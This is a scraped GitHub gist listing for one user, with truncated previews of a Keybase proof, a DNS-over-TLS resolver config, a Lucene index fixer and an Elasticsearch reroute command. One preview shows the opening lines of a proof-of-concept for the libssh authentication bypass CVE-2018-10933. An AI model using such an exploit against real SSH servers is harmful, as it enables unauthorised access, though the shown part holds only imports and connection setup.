Skip to content

Instantly share code, notes, and snippets.

Kirill A. Korinsky catap

Block or report user

Report or block catap

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:d518b4374db928d66ee4376bd8fb4963
### Keybase proof
I hereby claim:
* I am catap on github.
* I am catap (https://keybase.io/catap) on keybase.
* I have a public key ASBb8IhTr1ACFnLLeB8PozKLhUa1YvFWao1NnJpAoZxsMwo
To claim this, I am signing this object:
@catap
catap / CVE-2018-10933-POC.py
Created Oct 17, 2018
CVE-2018-10933 proof-of-concept by Minh Tuan Luong
View CVE-2018-10933-POC.py
import paramiko
import socket
import sys
nbytes = 4096
hostname = "127.0.0.1"
port = 2222
sock = socket.socket()
try:
@catap
catap / kresd-config.lua
Created Oct 28, 2018
An example configuration to random selection between Quad9, Cloudflare and Google DNS-over-TLS for knot-resolver (kresd)
View kresd-config.lua
require 'math'
math.randomseed(os.time())
dns_providers = {
{ -- Quad9
{'9.9.9.9', hostname='dns.quad9.net', ca_file='/usr/local/etc/kresd/DigiCertECCSecureServerCA.pem'},
{'149.112.112.112', hostname='dns.quad9.net', ca_file='/usr/local/etc/kresd/DigiCertECCSecureServerCA.pem'}
},
{ -- Cloudflare
{'1.1.1.1', hostname='cloudflare-dns.com', ca_file='/usr/local/etc/kresd/DigiCertECCSecureServerCA.pem'},
@catap
catap / IndexFixer.java
Created Dec 12, 2018
Very simple and naive tools to force recreate Lucene index. It may be used when your elastic data is corrupted, you have only one shard and Lucen's CheckIndex doesn't help.
View IndexFixer.java
mport org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.SimpleFSDirectory;
import java.io.IOException;
import java.nio.file.Paths;
public class IndexFixer {
public static void main(String[] args) throws IOException {
@catap
catap / gist:e133275e3c65331b4848de43eea4581f
Created Dec 14, 2018
Example how you can recovery your elastic from red status to green but lose your data
View gist:e133275e3c65331b4848de43eea4581f
POST _cluster/reroute?retry_failed
{
"commands" : [
{
"allocate_empty_primary": {
"index" : "Index-YYYY-MM-DD-HH",
"shard" : 66,
"node": "some-node",
"accept_data_loss": true
}
You can’t perform that action at this time.